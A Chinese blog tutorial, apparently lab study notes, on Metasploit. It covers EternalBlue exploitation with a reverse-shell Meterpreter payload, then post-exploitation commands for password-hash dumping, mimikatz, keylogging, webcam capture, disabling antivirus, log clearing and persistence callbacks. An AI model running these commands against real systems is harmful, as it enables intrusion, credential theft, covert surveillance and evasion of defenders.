MSF的使用学习

news2024/9/19 21:52:18

一、更新MSF

apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)

apt upgrade # 更新已安装的软件包,不删除旧包;

apt full-upgrade # 升级包,删除旧包

二、使用方法

使用方法:
1. 基础使用:
msfconsole                                            #进入框架
search  ms17_010                                    # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue        # 使用use进入模块
info                                                 #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp        #设置攻击载荷
show options                                        #查看模块需要配置的参数
set  RHOST  192.168.100.158                            #设置参数
exploit / run                                         #攻击
后渗透阶段                                            #后渗透阶段

二、Payload

攻击载荷(payload):
  Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
  Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

简单来说,就是当你成功攻入他人电脑后要做的操作

 payload模块路径:: 

/usr/share/metasploit-framework/modules/payloads

Metasploit中的 Payload 模块主要有以下三种类型
Single:
  是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。

Stager:
  这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

Stage:
  是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

三、Meterpreter


  Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

Meterpreter的特点:
Meterpreter完全驻留在内存,没有写入到磁盘。
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
默认情况下, Meterpreter的通信是加密的,所以很安全。
扩展性,许多新的特征模块可以被加载。
  我们在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲

四、漏洞利用(exploit):

漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。

exploit漏洞利用模块路径(这里面有针对不同平台的exploit):

/usr/share/metasploit-framework/modules/exploits 

五、永恒之蓝

接下来将会尝试使用以一下永恒之蓝这个漏洞

msfconsole #输入这个命令主要是进入msf渗透框架中

search ms17_010 #利用search命令,搜索漏洞相关利用模块,这个就是找漏洞的利用方式

可见,前三个为攻击工具,第四个为探测工具。

利用Auxiliary辅助探测模块对漏洞进行探测:

Auxiliary辅助探测模块
  该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
 

 use 3   \\3是其编号 

 

 show options #查看这个模块需要配置的信息

 设置要探测的远程目标:

注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞

set rhosts 192.168.154.140

注意:一定要在同一网段下

扫描一个范围也是可以的,我这里是一个确定的靶机,就只扫描这个靶机了 

exploit  //开始扫描

扫描出其445端口并没有这个漏洞,没事,掏出我的win7试试,这个是win10,估计漏洞修复了

成功扫出!

查看这个漏洞的信息:
命令: 

 info  查看这个漏洞的信息

查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统:
show targets

使用Exploit漏洞利用模块对漏洞进行利用:

1、选择漏洞攻击模块,对漏洞进行利用:
命令:

use exploit/windows/smb/ms17_010_eternalblue

Payload攻击载荷模块:

  攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload 

设置攻击载荷: 

set payload windows/x64/meterpreter/reverse_tcp 

 这样的设置是针对win系统x64位的

show options

set RHOST 192.168.154.136  #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.154.139   #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666              #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;

修改完毕,尝试攻击

exploit

六、后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的6666端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,如上图

Meterpreter > ?
==========================================
核心命令:
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性

meterpreter >
 

 以上基本就是大部分常用的命令了

下面让我们来使用一下

我们输入: shell即可切换到目标主机的windows cmd_shell里面:
命令:

shell         #获取目标主机的cmd_shell权限
chcp 65001    #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8 

要想从目标主机shell退出到meterpreter ,我们只需输入:exit

meterpreter退出到MSF框架:
命令:

background   #把我们获得的meterpreter会话挂载到后台运行

查看前面获得的meterpreter_shell会话,最前面的数字是会话的id:
命令:

 sessions  -l    #查看获得的meterpreter_shell会话列表

输入sessions [id号]即可进入相应的meterpreter_shell中 

 输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台

sysinfo                                                 #查看目标主机系统信息
run scraper                                             #查看目标主机详细信息
run hashdump                                            #导出密码的哈希
load kiwi                                               #加载mimikatz
ps                                                      #查看目标主机进程信息
pwd                                                         #查看目标当前目录(windows)
getlwd                                                  #查看目标当前目录(Linux)
search -f *.jsp -d e:\                                    #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root                              #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test                          #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid                                                     #查看当前Meterpreter Shell的进程PID
migrate 1384                                            #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime                                                    #查看主机运行时间
getuid                                                  #查看获取的当前权限
getsystem                                               #提权,获得的当前用户是administrator才能成功
run  killav                                                 #关闭杀毒软件
screenshot                                              #截图
webcam_list                                             #查看目标主机的摄像头
webcam_snap                                             #拍照
webcam_stream                                           #开视频
execute 参数 -f 可执行文件                                   #执行可执行程序
run getgui -u test1 -p Abc123456                        #创建test1用户,密码为Abc123456
run getgui -e                                            #开启远程桌面
keyscan_start                                            #开启键盘记录功能
keyscan_dump                                             #显示捕捉到的键盘记录信息
keyscan_stop                                             #停止键盘记录功能
uictl  disable  keyboard                                 #禁止目标使用键盘
uictl  enable   keyboard                                 #允许目标使用键盘
uictl  disable  mouse                                    #禁止目标使用鼠标
uictl  enable   mouse                                    #允许目标使用鼠标
load                                                    #使用扩展库
run                                                         #使用扩展库
 
run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888        #会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀
portfwd add -l 9999 -r 192.168.100.158 -p 3389             #将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
clearev                       #清除日志

目前就了解到这里吧,这两天太累了,真难崩

一句励志语依旧奉上: 

“每一步努力都是为未来铺路,相信自己,你能创造奇迹!”

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2147102.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HashMap高频面试知识点

HashMap HashMap是基于hash表的一种数据结构,用于存放键值对,核心就是把hash值映射到数组的索引位,通过数组链表(JDK1.8开始通过数组链表红黑树)解决Hash冲突。 因为当hash冲突较多时,链表中元素增加&#…

C语言进阶【4】---数据在内存中的存储【1】(你不想知道数据是怎样存储的吗?)

本章概述 整数在内存中的存储大小端字节序和字节序判断练习1练习2练习3练习4练习5练习6 彩蛋时刻!!! 整数在内存中的存储 回忆知识:在讲操作符的那章节中,对于整数而言咱们讲过原码,反码和补码。整数分为有…

JAVA同城生活新引擎外卖跑腿团购到店服务多合一高效系统小程序源码

🚀同城生活新风尚!一站式高效系统,让日常更便捷🛍️ 🍽️【开篇:同城生活,一触即发】🍽️ 在这个快节奏的时代,同城生活的便利性与效率成为了我们追求的新风尚。想象一下…

C++ —— 关于vector

目录 链接 1. vector的定义 2. vector的构造 3. vector 的遍历 4. vector 的扩容机制 5. vector 的空间接口 5.1 resize 接口 5.2 push_back 5.3 insert 5.4 erase 5.5 流插入与流提取 vector 并不支持流插入与流提取,但是可以自己设计,更…

[NSSCTF 2022 Spring Recruit]ezgame

打开题目环境是一个游戏: 直接F12开始审计源代码: 这里说拿到65分以后可以得到flag,这里因为游戏太菜选择直接篡改分数: 在控制台输入scorePoin10000就可以改变当次得分,等到游戏结束就能得到flag。

心觉:成功学就像一把刀,有什么作用关键在于使用者(二)

Hi,我是心觉,与你一起玩转潜意识、脑波音乐和吸引力法则,轻松掌控自己的人生! 挑战每日一省写作174/1000天 上一篇文章讲了成功学到底是个啥 是如何起作用的 为什么有些人觉得没有用? 今天我们再展开来剖析一下这…

链表--(1)链表的概念

前言引入 之前我们学习了数组这一概念,使用数组可以在编程时增加程序的灵活性。但在c语言中不允许定义动态数组的类型也不能随意调整数组的大小,往往会导致内存空间的浪费。由此我们推出链表。链表是动态进行内存分配的一种结构,它可以随时为其结点分配需要的存储空间也方便…

Vscode搭配latex简易教程

1. 找镜像网站下载texlive的iso文件 清华源镜像 下载之后直接打开iso文件,打开install-tl-windows.bat文件,进行安装即可,安装大概30分钟左右 2. VScode端配置 2.1 下载这三个插件 2.2 打开设置 2.3 追加内容到配置json文件当中 // Latex…

《深入理解JAVA虚拟机(第2版)》- 第12章 - 学习笔记

第12章 Java内存模型与线程 12.1 概述 TPS是用来衡量一个服务性能好坏高低的重要指标值。TPS是Transactions Per Second的缩写,用来表示每秒事务处理数,即服务端每秒平均能碰响应的请求数。 12.2 硬件的效率与一致性 处理器与内存的运算效率差了好几…

使用阿里OCR身份证识别

1、开通服务 免费试用 2、获取accesskay AccessKeyId和AccessKeySecret 要同时复制保存下来 因为后面好像看不AccessKeySecret了 3.Api 参考 https://help.aliyun.com/zh/ocr/developer-reference/api-ocr-api-2021-07-07-recognizeidcard?spma2c4g.11186623.0.0.7a9f4b1e5C…

园区网基础组网保姆级(mstp,vrrp,irf,eth-trunk,route-policy,ospf,bgp,rbm,nat,mlag等等)

本文实验使用模拟器:H3C HCL 5.10.2版本 一、园区核心/接入架构1.1.三层架构1.2.二层架构二、园区核心 To 接入实践2.1.MSTP+VRRP派系2.1.1.MSTP+VRRP配置2.1.2.MSTP+VRRP验证2.2.IRF+Eth-Trunk派系2.2.1.IRF+Eth-Trunk配置2.3.两种派系的对比2.4.VXLAN结构三、园区核心/出口架…

观《中国数据库前世今生》有感:从历史中汲取未来的力量

观《中国数据库前世今生》有感:从历史中汲取未来的力量 中国数据库技术的起步与发展 观看了《中国数据库前世今生》后,我对于中国数据库技术的历史变迁有了更深刻的理解。作为一名有一年开发经验的程序员,这部纪录片让我对中国数据库行业从8…

828华为云征文 | 云服务器Flexus X实例,搭建上线前后端项目

828华为云征文 | 云服务器Flexus X实例,搭建上线前后端项目 项目搭建 演示使用华为云服务器Flexus X实例搭建上线前后端项目黑马vue电商后台管理系统 项目GitHub链接:https://github.com/Minori-ty/vue_shop.git 1、购买华为云 Flexus X 实例 Flexus云服…

.Net Core 生成管理员权限的应用程序

创建一个ASP.NET Core Web API项目 给解决方案设置一个名称 选择一个目标框架,这里选择的是 .NET 8.0框架 在Porperties文件夹中添加一个app.manifest文件 设置app.manifest文件属性,生成操作设置为嵌入的资源 双击解决方案名称,编辑WebAppli…

JS实现树形结构数据中特定节点及其子节点显示属性设置的技巧(可用于树形节点过滤筛选)

大家好,今天我要分享的是如何在树形结构的数据中,根据特定条件设置节点及其所有子节点的显示属性。在实际项目中,这种需求非常常见,特别是在需要动态展示和隐藏节点的情况下。下面我将通过一个具体的示例来讲解实现过程。 需求分析…

(史上最全)线程池

线程池 文章目录 线程池一,前言二,线程池三,参数四,线程池的实现原理5.线程池的使用案例(自定义线程池)6.使用Executors 创建常见的功能线程池1.固定大小线程池2.定时线程3.可缓存线程池4.单线程化线程池 一,前言 虽然…

Prometheus 上手指南

文章目录 Prometheus 相关概念Prometheus 的特点Prometheus 架构数据模型 Datemode使用场景 指标类型 Metric type适用场景 作业和实例 Jobs and instances使用场景 Prometheus 安装Prometheus 配置prometheusalertmanager Grafana 可视化Grafana 安装Grafana 配置选项Grafana …

假期学习--iOS 编译链接

iOS 编译链接 编译流程 四步: 1.预处理 2.编译 3.汇编 4.链接 大概的步骤如下: 预处理 作为编译的第一步,将.m文件转换为.i文件 ; 预处理是要处理源代码中所有以#开头的所有预编译指令 ; 规则如下&#xff1…

更换UFS绑定固件与“工程固件”的区别 小米10s机型更换cpu绑定包对比 写入以及修复基带

目前机型的安全机制越来越高。机型cpu与字库存在绑定关系。主板cpu如损坏需要更换。换新cpu后就需要刷写底层绑定包来修复 。今天的博文将为大家带来UFS绑定包与工程固件的区别以及写入 修复基带的步骤解析 通过博文了解 1💝💝💝-----更换UFS绑定包与工程固件的区别 2…

利士策分享,赚钱与体重:一场关于生活平衡的微妙探索

利士策分享,赚钱与体重:一场关于生活平衡的微妙探索 在当今社会,赚钱与体重,这两个看似风马牛不相及的概念, 却在无形中交织着人们的生活轨迹。 它们不仅仅是数字上的增减,更是个人选择、生活方式乃至心理…